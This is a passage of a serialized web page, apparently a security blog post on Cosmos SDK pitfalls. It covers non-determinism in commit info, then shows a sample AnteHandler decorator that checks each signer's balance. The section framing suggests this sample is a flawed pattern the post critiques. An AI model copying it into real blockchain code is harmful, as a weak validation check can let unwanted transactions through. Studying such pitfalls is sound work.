StoreInfos: storeInfos,\n    }\n}\n",[78445],{"type":21,"tag":66,"props":78446,"children":78447},{"__ignoreMap":7},[78448,78485,78498,78526,78560,78605,78651,78659,78666,78711,78741,78770,78777,78784,78811,78833,78853,78860],{"type":21,"tag":85,"props":78449,"children":78450},{"class":87,"line":88},[78451,78455,78459,78464,78468,78473,78477,78481],{"type":21,"tag":85,"props":78452,"children":78453},{"style":102},[78454],{"type":26,"value":76762},{"type":21,"tag":85,"props":78456,"children":78457},{"style":114},[78458],{"type":26,"value":717},{"type":21,"tag":85,"props":78460,"children":78461},{"style":120},[78462],{"type":26,"value":78463},"rs ",{"type":21,"tag":85,"props":78465,"children":78466},{"style":169},[78467],{"type":26,"value":3052},{"type":21,"tag":85,"props":78469,"children":78470},{"style":108},[78471],{"type":26,"value":78472},"Store",{"type":21,"tag":85,"props":78474,"children":78475},{"style":114},[78476],{"type":26,"value":736},{"type":21,"tag":85,"props":78478,"children":78479},{"style":1021},[78480],{"type":26,"value":78421},{"type":21,"tag":85,"props":78482,"children":78483},{"style":114},[78484],{"type":26,"value":1029},{"type":21,"tag":85,"props":78486,"children":78487},{"class":87,"line":98},[78488,78493],{"type":21,"tag":85,"props":78489,"children":78490},{"style":120},[78491],{"type":26,"value":78492},"    version",{"type":21,"tag":85,"props":78494,"children":78495},{"style":108},[78496],{"type":26,"value":78497}," int64\n",{"type":21,"tag":85,"props":78499,"children":78500},{"class":87,"line":151},[78501,78505,78509,78513,78517,78522],{"type":21,"tag":85,"props":78502,"children":78503},{"style":114},[78504],{"type":26,"value":736},{"type":21,"tag":85,"props":78506,"children":78507},{"style":169},[78508],{"type":26,"value":3052},{"type":21,"tag":85,"props":78510,"children":78511},{"style":108},[78512],{"type":26,"value":56},{"type":21,"tag":85,"props":78514,"children":78515},{"style":114},[78516],{"type":26,"value":73},{"type":21,"tag":85,"props":78518,"children":78519},{"style":108},[78520],{"type":26,"value":78521},"CommitInfo",{"type":21,"tag":85,"props":78523,"children":78524},{"style":114},[78525],{"type":26,"value":148},{"type":21,"tag":85,"props":78527,"children":78528},{"class":87,"line":160},[78529,78534,78538,78542,78546,78550,78555],{"type":21,"tag":85,"props":78530,"children":78531},{"style":120},[78532],{"type":26,"value":78533},"    storeInfos",{"type":21,"tag":85,"props":78535,"children":78536},{"style":169},[78537],{"type":26,"value":76878},{"type":21,"tag":85,"props":78539,"children":78540},{"style":114},[78541],{"type":26,"value":76689},{"type":21,"tag":85,"props":78543,"children":78544},{"style":108},[78545],{"type":26,"value":56},{"type":21,"tag":85,"props":78547,"children":78548},{"style":114},[78549],{"type":26,"value":73},{"type":21,"tag":85,"props":78551,"children":78552},{"style":108},[78553],{"type":26,"value":78554},"StoreInfo",{"type":21,"tag":85,"props":78556,"children":78557},{"style":114},[78558],{"type":26,"value":78559},"{}\n",{"type":21,"tag":85,"props":78561,"children":78562},{"class":87,"line":185},[78563,78567,78571,78575,78579,78583,78587,78592,78596,78601],{"type":21,"tag":85,"props":78564,"children":78565},{"style":2885},[78566],{"type":26,"value":3809},{"type":21,"tag":85,"props":78568,"children":78569},{"style":120},[78570],{"type":26,"value":251},{"type":21,"tag":85,"props":78572,"children":78573},{"style":114},[78574],{"type":26,"value":256},{"type":21,"tag":85,"props":78576,"children":78577},{"style":120},[78578],{"type":26,"value":261},{"type":21,"tag":85,"props":78580,"children":78581},{"style":169},[78582],{"type":26,"value":76878},{"type":21,"tag":85,"props":78584,"children":78585},{"style":2885},[78586],{"type":26,"value":77861},{"type":21,"tag":85,"props":78588,"children":78589},{"style":120},[78590],{"type":26,"value":78591}," rs",{"type":21,"tag":85,"props":78593,"children":78594},{"style":114},[78595],{"type":26,"value":73},{"type":21,"tag":85,"props":78597,"children":78598},{"style":120},[78599],{"type":26,"value":78600},"stores",{"type":21,"tag":85,"props":78602,"children":78603},{"style":114},[78604],{"type":26,"value":148},{"type":21,"tag":85,"props":78606,"children":78607},{"class":87,"line":501},[78608,78612,78616,78620,78625,78629,78633,78638,78642,78647],{"type":21,"tag":85,"props":78609,"children":78610},{"style":2885},[78611],{"type":26,"value":4044},{"type":21,"tag":85,"props":78613,"children":78614},{"style":120},[78615],{"type":26,"value":143},{"type":21,"tag":85,"props":78617,"children":78618},{"style":114},[78619],{"type":26,"value":73},{"type":21,"tag":85,"props":78621,"children":78622},{"style":1021},[78623],{"type":26,"value":78624},"GetStoreType",{"type":21,"tag":85,"props":78626,"children":78627},{"style":114},[78628],{"type":26,"value":14461},{"type":21,"tag":85,"props":78630,"children":78631},{"style":169},[78632],{"type":26,"value":2936},{"type":21,"tag":85,"props":78634,"children":78635},{"style":120},[78636],{"type":26,"value":78637}," types",{"type":21,"tag":85,"props":78639,"children":78640},{"style":114},[78641],{"type":26,"value":73},{"type":21,"tag":85,"props":78643,"children":78644},{"style":120},[78645],{"type":26,"value":78646},"StoreTypeTransient",{"type":21,"tag":85,"props":78648,"children":78649},{"style":114},[78650],{"type":26,"value":148},{"type":21,"tag":85,"props":78652,"children":78653},{"class":87,"line":697},[78654],{"type":21,"tag":85,"props":78655,"children":78656},{"style":2885},[78657],{"type":26,"value":78658},"            continue\n",{"type":21,"tag":85,"props":78660,"children":78661},{"class":87,"line":706},[78662],{"type":21,"tag":85,"props":78663,"children":78664},{"style":114},[78665],{"type":26,"value":4118},{"type":21,"tag":85,"props":78667,"children":78668},{"class":87,"line":1100},[78669,78674,78678,78682,78686,78691,78695,78699,78703,78707],{"type":21,"tag":85,"props":78670,"children":78671},{"style":120},[78672],{"type":26,"value":78673},"        storeInfos",{"type":21,"tag":85,"props":78675,"children":78676},{"style":169},[78677],{"type":26,"value":1941},{"type":21,"tag":85,"props":78679,"children":78680},{"style":1021},[78681],{"type":26,"value":78158},{"type":21,"tag":85,"props":78683,"children":78684},{"style":114},[78685],{"type":26,"value":1439},{"type":21,"tag":85,"props":78687,"children":78688},{"style":120},[78689],{"type":26,"value":78690},"storeInfos",{"type":21,"tag":85,"props":78692,"children":78693},{"style":114},[78694],{"type":26,"value":256},{"type":21,"tag":85,"props":78696,"children":78697},{"style":108},[78698],{"type":26,"value":56},{"type":21,"tag":85,"props":78700,"children":78701},{"style":114},[78702],{"type":26,"value":73},{"type":21,"tag":85,"props":78704,"children":78705},{"style":108},[78706],{"type":26,"value":78554},{"type":21,"tag":85,"props":78708,"children":78709},{"style":114},[78710],{"type":26,"value":11296},{"type":21,"tag":85,"props":78712,"children":78713},{"class":87,"line":1339},[78714,78719,78724,78728,78732,78737],{"type":21,"tag":85,"props":78715,"children":78716},{"style":120},[78717],{"type":26,"value":78718},"            Name",{"type":21,"tag":85,"props":78720,"children":78721},{"style":114},[78722],{"type":26,"value":78723},":     ",{"type":21,"tag":85,"props":78725,"children":78726},{"style":120},[78727],{"type":26,"value":72616},{"type":21,"tag":85,"props":78729,"children":78730},{"style":114},[78731],{"type":26,"value":73},{"type":21,"tag":85,"props":78733,"children":78734},{"style":1021},[78735],{"type":26,"value":78736},"Name",{"type":21,"tag":85,"props":78738,"children":78739},{"style":114},[78740],{"type":26,"value":4258},{"type":21,"tag":85,"props":78742,"children":78743},{"class":87,"line":1348},[78744,78749,78753,78757,78761,78766],{"type":21,"tag":85,"props":78745,"children":78746},{"style":120},[78747],{"type":26,"value":78748},"            CommitId",{"type":21,"tag":85,"props":78750,"children":78751},{"style":114},[78752],{"type":26,"value":15750},{"type":21,"tag":85,"props":78754,"children":78755},{"style":120},[78756],{"type":26,"value":261},{"type":21,"tag":85,"props":78758,"children":78759},{"style":114},[78760],{"type":26,"value":73},{"type":21,"tag":85,"props":78762,"children":78763},{"style":1021},[78764],{"type":26,"value":78765},"LastCommitID",{"type":21,"tag":85,"props":78767,"children":78768},{"style":114},[78769],{"type":26,"value":4258},{"type":21,"tag":85,"props":78771,"children":78772},{"class":87,"line":1386},[78773],{"type":21,"tag":85,"props":78774,"children":78775},{"style":114},[78776],{"type":26,"value":68657},{"type":21,"tag":85,"props":78778,"children":78779},{"class":87,"line":1394},[78780],{"type":21,"tag":85,"props":78781,"children":78782},{"style":114},[78783],{"type":26,"value":507},{"type":21,"tag":85,"props":78785,"children":78786},{"class":87,"line":1402},[78787,78791,78795,78799,78803,78807],{"type":21,"tag":85,"props":78788,"children":78789},{"style":2885},[78790],{"type":26,"value":17411},{"type":21,"tag":85,"props":78792,"children":78793},{"style":169},[78794],{"type":26,"value":1487},{"type":21,"tag":85,"props":78796,"children":78797},{"style":108},[78798],{"type":26,"value":56},{"type":21,"tag":85,"props":78800,"children":78801},{"style":114},[78802],{"type":26,"value":73},{"type":21,"tag":85,"props":78804,"children":78805},{"style":108},[78806],{"type":26,"value":78521},{"type":21,"tag":85,"props":78808,"children":78809},{"style":114},[78810],{"type":26,"value":11296},{"type":21,"tag":85,"props":78812,"children":78813},{"class":87,"line":3145},[78814,78819,78824,78829],{"type":21,"tag":85,"props":78815,"children":78816},{"style":120},[78817],{"type":26,"value":78818},"        Version",{"type":21,"tag":85,"props":78820,"children":78821},{"style":114},[78822],{"type":26,"value":78823},":    ",{"type":21,"tag":85,"props":78825,"children":78826},{"style":120},[78827],{"type":26,"value":78828},"version",{"type":21,"tag":85,"props":78830,"children":78831},{"style":114},[78832],{"type":26,"value":182},{"type":21,"tag":85,"props":78834,"children":78835},{"class":87,"line":3246},[78836,78841,78845,78849],{"type":21,"tag":85,"props":78837,"children":78838},{"style":120},[78839],{"type":26,"value":78840},"        StoreInfos",{"type":21,"tag":85,"props":78842,"children":78843},{"style":114},[78844],{"type":26,"value":15750},{"type":21,"tag":85,"props":78846,"children":78847},{"style":120},[78848],{"type":26,"value":78690},{"type":21,"tag":85,"props":78850,"children":78851},{"style":114},[78852],{"type":26,"value":182},{"type":21,"tag":85,"props":78854,"children":78855},{"class":87,"line":3255},[78856],{"type":21,"tag":85,"props":78857,"children":78858},{"style":114},[78859],{"type":26,"value":507},{"type":21,"tag":85,"props":78861,"children":78862},{"class":87,"line":3286},[78863],{"type":21,"tag":85,"props":78864,"children":78865},{"style":114},[78866],{"type":26,"value":2671},{"type":21,"tag":22,"props":78868,"children":78869},{},[78870,78872,78879,78880,78887],{"type":26,"value":78871},"Other factors contributing to determinism issues are the usage of ",{"type":21,"tag":335,"props":78873,"children":78876},{"href":78874,"rel":78875},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[339],[78877],{"type":26,"value":78878},"time-sensitive functions",{"type":26,"value":11408},{"type":21,"tag":335,"props":78881,"children":78884},{"href":78882,"rel":78883},"https://github.com/cosmos/cosmos-sdk/issues/16638",[339],[78885],{"type":26,"value":78886},"race conditions",{"type":26,"value":73},{"type":21,"tag":54,"props":78889,"children":78891},{"id":78890},"thou-shalt-not-passor-should-you",[78892],{"type":26,"value":78893},"Thou Shalt Not Pass...Or Should You?",{"type":21,"tag":22,"props":78895,"children":78896},{},[78897,78899,78905,78906,78912],{"type":26,"value":78898},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":21,"tag":66,"props":78900,"children":78902},{"className":78901},[],[78903],{"type":26,"value":78904},"msg.value",{"type":26,"value":256},{"type":21,"tag":66,"props":78907,"children":78909},{"className":78908},[],[78910],{"type":26,"value":78911},"msg.sender",{"type":26,"value":78913},", and collecting transaction fees) to the underlying blockchain.",{"type":21,"tag":22,"props":78915,"children":78916},{},[78917,78919,78925,78927,78933],{"type":26,"value":78918},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":21,"tag":66,"props":78920,"children":78922},{"className":78921},[],[78923],{"type":26,"value":78924},"Cosmos-SDK",{"type":26,"value":78926}," introduces ",{"type":21,"tag":66,"props":78928,"children":78930},{"className":78929},[],[78931],{"type":26,"value":78932},"AnteHandler",{"type":26,"value":78934}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":21,"tag":22,"props":78936,"children":78937},{},[78938,78940,78945,78947,78952],{"type":26,"value":78939},"To provide context, let's first understand how an ",{"type":21,"tag":66,"props":78941,"children":78943},{"className":78942},[],[78944],{"type":26,"value":78932},{"type":26,"value":78946}," is processed. Each ",{"type":21,"tag":66,"props":78948,"children":78950},{"className":78949},[],[78951],{"type":26,"value":78932},{"type":26,"value":78953}," is a state transition function that can:",{"type":21,"tag":841,"props":78955,"children":78956},{},[78957,78962],{"type":21,"tag":845,"props":78958,"children":78959},{},[78960],{"type":26,"value":78961},"Transform the block state in relation to transaction and execution context.",{"type":21,"tag":845,"props":78963,"children":78964},{},[78965,78967],{"type":26,"value":78966},"Determine the course of action for the transaction.\n",{"type":21,"tag":841,"props":78968,"children":78969},{},[78970,78981],{"type":21,"tag":845,"props":78971,"children":78972},{},[78973,78975,78980],{"type":26,"value":78974},"Pass the transaction to the next ",{"type":21,"tag":66,"props":78976,"children":78978},{"className":78977},[],[78979],{"type":26,"value":78932},{"type":26,"value":73},{"type":21,"tag":845,"props":78982,"children":78983},{},[78984],{"type":26,"value":78985},"Return error for transaction.",{"type":21,"tag":22,"props":78987,"children":78988},{},[78989,78991,78996],{"type":26,"value":78990},"The bad news is that developing an ",{"type":21,"tag":66,"props":78992,"children":78994},{"className":78993},[],[78995],{"type":26,"value":78932},{"type":26,"value":78997}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":21,"tag":22,"props":78999,"children":79000},{},[79001,79002,79008],{"type":26,"value":17034},{"type":21,"tag":66,"props":79003,"children":79005},{"className":79004},[],[79006],{"type":26,"value":79007},"AnteHandle",{"type":26,"value":79009}," implementation may look something like this:",{"type":21,"tag":75,"props":79011,"children":79013},{"code":79012,"language":76626,"meta":7,"className":76627,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[79014],{"type":21,"tag":66,"props":79015,"children":79016},{"__ignoreMap":7},[79017,79029,79045,79052,79059,79092,79116,79141,79157,79181,79213,79261,79280,79313,79334,79346,79353,79360,79367,79397,79433,79497,79531,79563,79575,79587,79594,79601,79608,79615,79657],{"type":21,"tag":85,"props":79018,"children":79019},{"class":87,"line":88},[79020,79024],{"type":21,"tag":85,"props":79021,"children":79022},{"style":102},[79023],{"type":26,"value":10069},{"type":21,"tag":85,"props":79025,"children":79026},{"style":114},[79027],{"type":26,"value":79028}," (\n",{"type":21,"tag":85,"props":79030,"children":79031},{"class":87,"line":98},[79032,79037,79041],{"type":21,"tag":85,"props":79033,"children":79034},{"style":120},[79035],{"type":26,"value":79036},"    MIN_BALANCE",{"type":21,"tag":85,"props":79038,"children":79039},{"style":169},[79040],{"type":26,"value":1941},{"type":21,"tag":85,"props":79042,"children":79043},{"style":2285},[79044],{"type":26,"value":19769},{"type":21,"tag":85,"props":79046,"children":79047},{"class":87,"line":151},[79048],{"type":21,"tag":85,"props":79049,"children":79050},{"style":114},[79051],{"type":26,"value":2485},{"type":21,"tag":85,"props":79053,"children":79054},{"class":87,"line":160},[79055],{"type":21,"tag":85,"props":79056,"children":79057},{"emptyLinePlaceholder":16},[79058],{"type":26,"value":703},{"type":21,"tag":85,"props":79060,"children":79061},{"class":87,"line":185},[79062,79066,79070,79075,79080,79084,79088],{"type":21,"tag":85,"props":79063,"children":79064},{"style":102},[79065],{"type":26,"value":76762},{"type":21,"tag":85,"props":79067,"children":79068},{"style":114},[79069],{"type":26,"value":717},{"type":21,"tag":85,"props":79071,"children":79072},{"style":120},[79073],{"type":26,"value":79074},"abd ",{"type":21,"tag":85,"props":79076,"children":79077},{"style":108},[79078],{"type":26,"value":79079},"AccountBalanceDecorator",{"type":21,"tag":85,"props":79081,"children":79082},{"style":114},[79083],{"type":26,"value":736},{"type":21,"tag":85,"props":79085,"children":79086},{"style":1021},[79087],{"type":26,"value":79007},{"type":21,"tag":85,"props":79089,"children":79090},{"style":114},[79091],{"type":26,"value":1029},{"type":21,"tag":85,"props":79093,"children":79094},{"class":87,"line":501},[79095,79099,79104,79108,79112],{"type":21,"tag":85,"props":79096,"children":79097},{"style":120},[79098],{"type":26,"value":20651},{"type":21,"tag":85,"props":79100,"children":79101},{"style":108},[79102],{"type":26,"value":79103}," sdk",{"type":21,"tag":85,"props":79105,"children":79106},{"style":114},[79107],{"type":26,"value":73},{"type":21,"tag":85,"props":79109,"children":79110},{"style":108},[79111],{"type":26,"value":76811},{"type":21,"tag":85,"props":79113,"children":79114},{"style":114},[79115],{"type":26,"value":182},{"type":21,"tag":85,"props":79117,"children":79118},{"class":87,"line":697},[79119,79124,79128,79132,79137],{"type":21,"tag":85,"props":79120,"children":79121},{"style":120},[79122],{"type":26,"value":79123},"    tx",{"type":21,"tag":85,"props":79125,"children":79126},{"style":108},[79127],{"type":26,"value":79103},{"type":21,"tag":85,"props":79129,"children":79130},{"style":114},[79131],{"type":26,"value":73},{"type":21,"tag":85,"props":79133,"children":79134},{"style":108},[79135],{"type":26,"value":79136},"Tx",{"type":21,"tag":85,"props":79138,"children":79139},{"style":114},[79140],{"type":26,"value":182},{"type":21,"tag":85,"props":79142,"children":79143},{"class":87,"line":706},[79144,79149,79153],{"type":21,"tag":85,"props":79145,"children":79146},{"style":120},[79147],{"type":26,"value":79148},"    simulate",{"type":21,"tag":85,"props":79150,"children":79151},{"style":108},[79152],{"type":26,"value":12467},{"type":21,"tag":85,"props":79154,"children":79155},{"style":114},[79156],{"type":26,"value":182},{"type":21,"tag":85,"props":79158,"children":79159},{"class":87,"line":1100},[79160,79165,79169,79173,79177],{"type":21,"tag":85,"props":79161,"children":79162},{"style":120},[79163],{"type":26,"value":79164},"    next",{"type":21,"tag":85,"props":79166,"children":79167},{"style":108},[79168],{"type":26,"value":79103},{"type":21,"tag":85,"props":79170,"children":79171},{"style":114},[79172],{"type":26,"value":73},{"type":21,"tag":85,"props":79174,"children":79175},{"style":108},[79176],{"type":26,"value":78932},{"type":21,"tag":85,"props":79178,"children":79179},{"style":114},[79180],{"type":26,"value":182},{"type":21,"tag":85,"props":79182,"children":79183},{"class":87,"line":1339},[79184,79188,79193,79197,79201,79205,79209],{"type":21,"tag":85,"props":79185,"children":79186},{"style":114},[79187],{"type":26,"value":76844},{"type":21,"tag":85,"props":79189,"children":79190},{"style":108},[79191],{"type":26,"value":79192},"sdk",{"type":21,"tag":85,"props":79194,"children":79195},{"style":114},[79196],{"type":26,"value":73},{"type":21,"tag":85,"props":79198,"children":79199},{"style":108},[79200],{"type":26,"value":76811},{"type":21,"tag":85,"props":79202,"children":79203},{"style":114},[79204],{"type":26,"value":256},{"type":21,"tag":85,"props":79206,"children":79207},{"style":108},[79208],{"type":26,"value":15282},{"type":21,"tag":85,"props":79210,"children":79211},{"style":114},[79212],{"type":26,"value":15222},{"type":21,"tag":85,"props":79214,"children":79215},{"class":87,"line":1348},[79216,79221,79225,79230,79234,79238,79243,79248,79252,79257],{"type":21,"tag":85,"props":79217,"children":79218},{"style":120},[79219],{"type":26,"value":79220},"    sigTx",{"type":21,"tag":85,"props":79222,"children":79223},{"style":114},[79224],{"type":26,"value":256},{"type":21,"tag":85,"props":79226,"children":79227},{"style":120},[79228],{"type":26,"value":79229},"ok",{"type":21,"tag":85,"props":79231,"children":79232},{"style":169},[79233],{"type":26,"value":76878},{"type":21,"tag":85,"props":79235,"children":79236},{"style":120},[79237],{"type":26,"value":68487},{"type":21,"tag":85,"props":79239,"children":79240},{"style":114},[79241],{"type":26,"value":79242},".(",{"type":21,"tag":85,"props":79244,"children":79245},{"style":108},[79246],{"type":26,"value":79247},"authsigning",{"type":21,"tag":85,"props":79249,"children":79250},{"style":114},[79251],{"type":26,"value":73},{"type":21,"tag":85,"props":79253,"children":79254},{"style":108},[79255],{"type":26,"value":79256},"SigVerifiableTx",{"type":21,"tag":85,"props":79258,"children":79259},{"style":114},[79260],{"type":26,"value":2485},{"type":21,"tag":85,"props":79262,"children":79263},{"class":87,"line":1386},[79264,79268,79272,79276],{"type":21,"tag":85,"props":79265,"children":79266},{"style":2885},[79267],{"type":26,"value":12696},{"type":21,"tag":85,"props":79269,"children":79270},{"style":169},[79271],{"type":26,"value":13281},{"type":21,"tag":85,"props":79273,"children":79274},{"style":120},[79275],{"type":26,"value":79229},{"type":21,"tag":85,"props":79277,"children":79278},{"style":114},[79279],{"type":26,"value":148},{"type":21,"tag":85,"props":79281,"children":79282},{"class":87,"line":1394},[79283,79287,79291,79295,79300,79304,79309],{"type":21,"tag":85,"props":79284,"children":79285},{"style":2885},[79286],{"type":26,"value":16164},{"type":21,"tag":85,"props":79288,"children":79289},{"style":120},[79290],{"type":26,"value":26284},{"type":21,"tag":85,"props":79292,"children":79293},{"style":114},[79294],{"type":26,"value":256},{"type":21,"tag":85,"props":79296,"children":79297},{"style":120},[79298],{"type":26,"value":79299},"errorsmod",{"type":21,"tag":85,"props":79301,"children":79302},{"style":114},[79303],{"type":26,"value":73},{"type":21,"tag":85,"props":79305,"children":79306},{"style":1021},[79307],{"type":26,"value":79308},"Wrap",{"type":21,"tag":85,"props":79310,"children":79311},{"style":114},[79312],{"type":26,"value":1029},{"type":21,"tag":85,"props":79314,"children":79315},{"class":87,"line":1402},[79316,79321,79325,79330],{"type":21,"tag":85,"props":79317,"children":79318},{"style":120},[79319],{"type":26,"value":79320},"            sdkerrors",{"type":21,"tag":85,"props":79322,"children":79323},{"style":114},[79324],{"type":26,"value":73},{"type":21,"tag":85,"props":79326,"children":79327},{"style":120},[79328],{"type":26,"value":79329},"ErrTxDecode",{"type":21,"tag":85,"props":79331,"children":79332},{"style":114},[79333],{"type":26,"value":182},{"type":21,"tag":85,"props":79335,"children":79336},{"class":87,"line":3145},[79337,79342],{"type":21,"tag":85,"props":79338,"children":79339},{"style":5026},[79340],{"type":26,"value":79341},"            \"invalid tx type\"",{"type":21,"tag":85,"props":79343,"children":79344},{"style":114},[79345],{"type":26,"value":182},{"type":21,"tag":85,"props":79347,"children":79348},{"class":87,"line":3246},[79349],{"type":21,"tag":85,"props":79350,"children":79351},{"style":114},[79352],{"type":26,"value":68780},{"type":21,"tag":85,"props":79354,"children":79355},{"class":87,"line":3255},[79356],{"type":21,"tag":85,"props":79357,"children":79358},{"style":114},[79359],{"type":26,"value":507},{"type":21,"tag":85,"props":79361,"children":79362},{"class":87,"line":3286},[79363],{"type":21,"tag":85,"props":79364,"children":79365},{"emptyLinePlaceholder":16},[79366],{"type":26,"value":703},{"type":21,"tag":85,"props":79368,"children":79369},{"class":87,"line":3295},[79370,79375,79379,79384,79388,79393],{"type":21,"tag":85,"props":79371,"children":79372},{"style":120},[79373],{"type":26,"value":79374},"    signers",{"type":21,"tag":85,"props":79376,"children":79377},{"style":169},[79378],{"type":26,"value":76878},{"type":21,"tag":85,"props":79380,"children":79381},{"style":120},[79382],{"type":26,"value":79383}," sigTx",{"type":21,"tag":85,"props":79385,"children":79386},{"style":114},[79387],{"type":26,"value":73},{"type":21,"tag":85,"props":79389,"children":79390},{"style":1021},[79391],{"type":26,"value":79392},"GetSigners",{"type":21,"tag":85,"props":79394,"children":79395},{"style":114},[79396],{"type":26,"value":2086},{"type":21,"tag":85,"props":79398,"children":79399},{"class":87,"line":3308},[79400,79404,79408,79412,79416,79420,79424,79429],{"type":21,"tag":85,"props":79401,"children":79402},{"style":2885},[79403],{"type":26,"value":3809},{"type":21,"tag":85,"props":79405,"children":79406},{"style":120},[79407],{"type":26,"value":2821},{"type":21,"tag":85,"props":79409,"children":79410},{"style":114},[79411],{"type":26,"value":256},{"type":21,"tag":85,"props":79413,"children":79414},{"style":120},[79415],{"type":26,"value":1492},{"type":21,"tag":85,"props":79417,"children":79418},{"style":169},[79419],{"type":26,"value":76878},{"type":21,"tag":85,"props":79421,"children":79422},{"style":2885},[79423],{"type":26,"value":77861},{"type":21,"tag":85,"props":79425,"children":79426},{"style":120},[79427],{"type":26,"value":79428}," signers",{"type":21,"tag":85,"props":79430,"children":79431},{"style":114},[79432],{"type":26,"value":148},{"type":21,"tag":85,"props":79434,"children":79435},{"class":87,"line":3333},[79436,79441,79445,79450,79454,79459,79463,79468,79472,79476,79480,79484,79488,79493],{"type":21,"tag":85,"props":79437,"children":79438},{"style":120},[79439],{"type":26,"value":79440},"        balance",{"type":21,"tag":85,"props":79442,"children":79443},{"style":169},[79444],{"type":26,"value":76878},{"type":21,"tag":85,"props":79446,"children":79447},{"style":120},[79448],{"type":26,"value":79449}," abd",{"type":21,"tag":85,"props":79451,"children":79452},{"style":114},[79453],{"type":26,"value":73},{"type":21,"tag":85,"props":79455,"children":79456},{"style":120},[79457],{"type":26,"value":79458},"bk",{"type":21,"tag":85,"props":79460,"children":79461},{"style":114},[79462],{"type":26,"value":73},{"type":21,"tag":85,"props":79464,"children":79465},{"style":1021},[79466],{"type":26,"value":79467},"getBalance",{"type":21,"tag":85,"props":79469,"children":79470},{"style":114},[79471],{"type":26,"value":1439},{"type":21,"tag":85,"props":79473,"children":79474},{"style":120},[79475],{"type":26,"value":20708},{"type":21,"tag":85,"props":79477,"children":79478},{"style":114},[79479],{"type":26,"value":256},{"type":21,"tag":85,"props":79481,"children":79482},{"style":120},[79483],{"type":26,"value":1492},{"type":21,"tag":85,"props":79485,"children":79486},{"style":114},[79487],{"type":26,"value":256},{"type":21,"tag":85,"props":79489,"children":79490},{"style":120},[79491],{"type":26,"value":79492},"ATOM",{"type":21,"tag":85,"props":79494,"children":79495},{"style":114},[79496],{"type":26,"value":2485},{"type":21,"tag":85,"props":79498,"children":79499},{"class":87,"line":3369},[79500,79504,79509,79513,79518,79522,79527],{"type":21,"tag":85,"props":79501,"children":79502},{"style":2885},[79503],{"type":26,"value":4044},{"type":21,"tag":85,"props":79505,"children":79506},{"style":120},[79507],{"type":26,"value":79508}," balance",{"type":21,"tag":85,"props":79510,"children":79511},{"style":114},[79512],{"type":26,"value":73},{"type":21,"tag":85,"props":79514,"children":79515},{"style":120},[79516],{"type":26,"value":79517},"Amount",{"type":21,"tag":85,"props":79519,"children":79520},{"style":169},[79521],{"type":26,"value":3085},{"type":21,"tag":85,"props":79523,"children":79524},{"style":120},[79525],{"type":26,"value":79526}," MIN_BALANCE",{"type":21,"tag":85,"props":79528,"children":79529},{"style":114},[79530],{"type":26,"value":148},{"type":21,"tag":85,"props":79532,"children":79533},{"class":87,"line":3377},[79534,79539,79543,79547,79551,79555,79559],{"type":21,"tag":85,"props":79535,"children":79536},{"style":2885},[79537],{"type":26,"value":79538},"            return",{"type":21,"tag":85,"props":79540,"children":79541},{"style":120},[79542],{"type":26,"value":26284},{"type":21,"tag":85,"props":79544,"children":79545},{"style":114},[79546],{"type":26,"value":256},{"type":21,"tag":85,"props":79548,"children":79549},{"style":120},[79550],{"type":26,"value":79299},{"type":21,"tag":85,"props":79552,"children":79553},{"style":114},[79554],{"type":26,"value":73},{"type":21,"tag":85,"props":79556,"children":79557},{"style":1021},[79558],{"type":26,"value":79308},{"type":21,"tag":85,"props":79560,"children":79561},{"style":114},[79562],{"type":26,"value":1029},{"type":21,"tag":85,"props":79564,"children":79565},{"class":87,"line":3386},[79566,79571],{"type":21,"tag":85,"props":79567,"children":79568},{"style":120},[79569],{"type":26,"value":79570},"                ErrInsufficientBalance",{"type":21,"tag":85,"props":79572,"children":79573},{"style":114},[79574],{"type":26,"value":182},{"type":21,"tag":85,"props":79576,"children":79577},{"class":87,"line":3394},[79578,79583],{"type":21,"tag":85,"props":79579,"children":79580},{"style":5026},[79581],{"type":26,"value":79582},"                \"Insufficient Balance\"",{"type":21,"tag":85,"props":79584,"children":79585},{"style":114},[79586],{"type":26,"value":182},{"type":21,"tag":85,"props":79588,"children":79589},{"class":87,"line":3410},[79590],{"type":21,"tag":85,"props":79591,"children":79592},{"style":114},[79593],{"type":26,"value":77977},{"type":21,"tag":85,"props":79595,"children":79596},{"class":87,"line":3427},[79597],{"type":21,"tag":85,"props":79598,"children":79599},{"style":114},[79600],{"type":26,"value":4118},{"type":21,"tag":85,"props":79602,"children":79603},{"class":87,"line":3445},[79604],{"type":21,"tag":85,"props":79605,"children":79606},{"style":114},[79607],{"type":26,"value":507},{"type":21,"tag":85,"props":79609,"children":79610},{"class":87,"line":3490},[79611],{"type":21,"tag":85,"props":79612,"children":79613},{"emptyLinePlaceholder":16},[79614],{"type":26,"value":703},{"type":21,"tag":85,"props":79616,"children":79617},{"class":87,"line":3596},[79618,79622,79627,79631,79635,79639,79644,79648,79653],{"type":21,"tag":85,"props":79619,"children":79620},{"style":2885},[79621],{"type":26,"value":17411},{"type":21,"tag":85,"props":79623,"children":79624},{"style":1021},[79625],{"type":26,"value":79626}," 